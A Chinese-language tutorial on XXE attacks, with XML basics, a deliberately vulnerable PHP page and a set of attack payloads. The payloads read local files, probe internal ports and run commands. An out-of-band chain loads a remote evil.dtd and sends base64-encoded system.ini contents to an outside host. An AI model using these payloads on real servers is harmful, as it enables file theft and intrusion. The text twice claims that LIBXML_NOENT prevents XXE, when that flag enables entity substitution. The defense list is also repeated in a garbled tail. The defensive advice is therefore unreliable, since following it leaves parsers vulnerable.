XXE
XML基础知识
XML代表可扩展标记语言。它是一种标记语言,定义了一组规则,用于以既可读性良好又可机器读取的格式对文档进行编码。XML通常用于在互联网上的不同系统之间存储和交换数据。
在XML中,数据以标记的层次结构存储。每个标记表示一个元素,可以包含属性和数据。以下是一个XML文档的示例:
<?xml version="1.0" encoding="UTF-8"?>
<bookstore>
<book category="fiction">
<title>Harry Potter</title>
<author>J.K. Rowling</author>
<price>19.99</price>
</book>
<book category="non-fiction">
<title>Introduction to XML</title>
<author>John Doe</author>
<price>29.99</price>
</book>
</bookstore>
在这个例子中,<bookstore>
元素包含两个 <book>
元素,每个元素都有 <title>
、<author>
和 <price>
元素。category
属性用于区分小说和非小说书籍。
XML经常用于Web开发中的数据交换、配置文件和表示结构化数据。
用途
配置文件:许多软件和应用程序使用XML格式的配置文件来存储设置和参数。XML的结构化特性使得配置文件易于阅读和编辑。
交换数据:XML常用于不同系统之间的数据交换。由于XML是一种通用的标记语言,可以轻松地表示各种数据结构,使得不同系统之间可以更容易地交换数据。
以下是一些XML格式要求:
- 文档声明:XML文档通常以文档声明开始,指定XML版本和字符编码。例如:
<?xml version="1.0" encoding="UTF-8"?>
- 元素:XML文档由元素构成,每个元素由开始标签、结束标签和内容组成。例如:
<title>Harry Potter</title>
- 属性:元素可以包含属性,用于提供有关元素的额外信息。属性位于开始标签内,并且以键值对的形式表示。例如:
<book category="fiction">
- 嵌套结构:XML元素可以嵌套在其他元素内,形成层次结构。这种结构使得数据可以以树状形式组织和表示。
- 空元素:有时候元素没有内容,只有属性,这样的元素称为“空元素”。空元素以自闭合标签表示。例如:
<emptyElement />
- 注释:XML文档可以包含注释,注释以
<!--
开始,以-->
结束。注释可以用于提供文档说明或临时注释某些部分。 - 命名规则:XML元素和属性的命名必须遵循一定的规则,比如不能以数字开头,不能包含空格等。通常建议使用有意义的、描述性的命名。
XML格式校验
DTD(Document Type Definition):
-
DTD是一种用于定义XML文档结构的规范。通过在XML文档中引用DTD,可以定义元素、属性、实体和其它结构化内容的规范。
-
DTD定义了元素的结构、顺序、属性以及元素之间的关系。如果XML文档与DTD定义不符合,解析器会报告错误。
-
示例:
<!DOCTYPE bookstore [ <!ELEMENT bookstore (book*)> <!ELEMENT book (title, author, price)> <!ELEMENT title (#PCDATA)> <!ELEMENT author (#PCDATA)> <!ELEMENT price (#PCDATA)> ]>
在XML中,**实体(Entity)**是用来表示文本片段的一种机制。实体可以是内部实体(Internal Entity)或外部实体(External Entity)。实体在XML中的作用包括重复使用文本片段、引入外部内容等。
-
内部实体(Internal Entity):内部实体是在DTD(Document Type Definition)中定义的文本片段。内部实体以
&
开头,以;
结尾。例如,定义一个内部实体&name;
:<!ENTITY name "Alice">
在文档中使用内部实体:
<greeting>Hello, &name;!</greeting>
-
外部实体(External Entity):外部实体是引用外部资源的文本片段。外部实体可以引用本地文件或远程资源。外部实体以DTD中的
SYSTEM
关键字定义,指定外部资源的位置。例如,定义一个外部实体name
:<!ENTITY name SYSTEM "file:///path/to/file.txt">
在文档中使用外部实体:
<greeting>Hello, &name;!</greeting>
XXE原理
XE(XML External Entity)攻击是一种利用XML解析器的漏洞来读取本地文件、执行远程请求或进行其他恶意操作的攻击方式。这种攻击利用了XML处理器可以引用外部实体的特性。
XXE攻击的原理如下:
- 实体引用:在XML中,可以定义实体来代表文本片段,以便在文档中重复使用。实体可以是内部实体(在DTD中定义)或外部实体(引用外部资源)。
- 外部实体:攻击者利用外部实体引用的功能,构造恶意XML文档,其中包含对恶意外部实体的引用。
- 实体解析:当XML文档被解析时,解析器会尝试解析外部实体。如果解析器被配置为允许外部实体的引用,并且攻击者提供了恶意的外部实体定义,那么攻击者可以利用这一特性执行攻击。
- 攻击方式:通过恶意构造的外部实体引用,攻击者可以读取本地文件、发送HTTP请求到外部服务器、执行任意代码等操作,从而危害系统安全。
<head><meta charset=utf-8>
<title>xxe测试</title>
</head>
<body>
<form action='' method='post'>xml数据:<br>
<textarea type="text" name="data"></textarea>
<br><input type='submit' value='提交' name='sub'>
</form>
</body>
<?php
date_default_timezone_set("PRC");
if(!empty($_POST['sub'])){
$data= $_POST['data'];
$xml = simplexml_load_string($data);
print($xml);
}
?>
对用户输入的内容解析成xml输出到浏览器
内部实体
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY hacker "hachers" >]>
<name>&hacker;</name>
外部实体 (php5.4)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "file:///D://phpstudy_pro//WWW//xxe//1.txt" >]>
<login>&xxe;</login>
探测端口是否开启 (无反应:开启 报错:关闭)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://127.0.0.1:3306" >]>
<login>&xxe;</login>
执行命令
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "except://ipconfig" >]>
<login>&xxe;</login>
XXE利用方式
源码
file_get_contents('php://input') 是用于从 PHP 输入流中读取数据的函数调用。在这里,'php://input' 是一个 PHP 内置的输入流,用于获取通过 POST 请求发送的原始数据
simplexml_import_dom 是 PHP 中的一个函数,用于将 DOM 节点对象转换为 SimpleXMLElement 对象
// 创建一个 DOMDocument 对象
$dom = new DOMDocument();
$dom->loadXML('<book><title>Harry Potter</title><author>J.K. Rowling</author></book>');
// 获取根节点
$root = $dom->documentElement;
// 将 DOM 节点对象转换为 SimpleXMLElement 对象
$simplexml = simplexml_import_dom($root);
// 使用 SimpleXMLElement 对象访问 XML 数据
echo $simplexml->title; // 输出:Harry Potter
echo $simplexml->author; // 输出:J.K. Rowling
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 是用于加载 XML 文件并设置解析选项的语句这行代码的作用是加载 XML 文件 $xmlfile,并设置解析选项为禁止实体扩展(防止 XXE 攻击)和允许加载外部 DTD。
第一步先确定是否使用xml格式传输数据
第二步bp修改请求内容
盲打 http接口参数,写入文件
将下段内容上传到具有xxe漏洞的服务器,服务器会解析此内容,访问外部ip的evil.dtd文件,用file协议读取system.ini文件,对其进行编码,赋值给file。file作为请求参数,发送给本地。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "ip/evil.dtd" >
%remote
]>
<root>&send;</root>
evil.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/system.ini" >
<!ENTITY % int "<!ENTITY % send SYSTEM'http://192.168.1.1:8080?p=%file'>" >
XXE防御
-
禁止外部实体:
- 在解析XML数据时,禁用实体扩展功能,例如在PHP中使用
LIBXML_NOENT
选项或其他类似设置来禁止实体扩展。 - 在解析XML数据之前,移除或替换所有外部实体引用,确保不会加载外部实体。
- 在解析XML数据时,禁用实体扩展功能,例如在PHP中使用
-
使用白名单:
- 限制允许的实体和DTD定义,使用白名单机制来指定哪些实体和DTD是允许的。
- 可以在XML解析器中配置一个白名单,只允许加载特定的实体或DTD,其他一律拒绝。
-
验证输入:
- 对于用户输入的XML数据,进行有效的输入验证和过滤,确保只接受预期格式的数据。
- 对于外部XML数据,需要严格验证来源,确保数据的可信度。
-
使用安全解析器:
- 使用安全的XML解析器,如XMLReader而不是SimpleXML,因为一些解析器可能默认启用实体扩展功能。
- 使用最新版本的解析器,以确保修复了已知的安全漏洞。
只允许加载特定的实体或DTD,其他一律拒绝。
-
验证输入:
- 对于用户输入的XML数据,进行有效的输入验证和过滤,确保只接受预期格式的数据。
- 对于外部XML数据,需要严格验证来源,确保数据的可信度。
-
使用安全解析器:
- 使用安全的XML解析器,如XMLReader而不是SimpleXML,因为一些解析器可能默认启用实体扩展功能。
- 使用最新版本的解析器,以确保修复了已知的安全漏洞。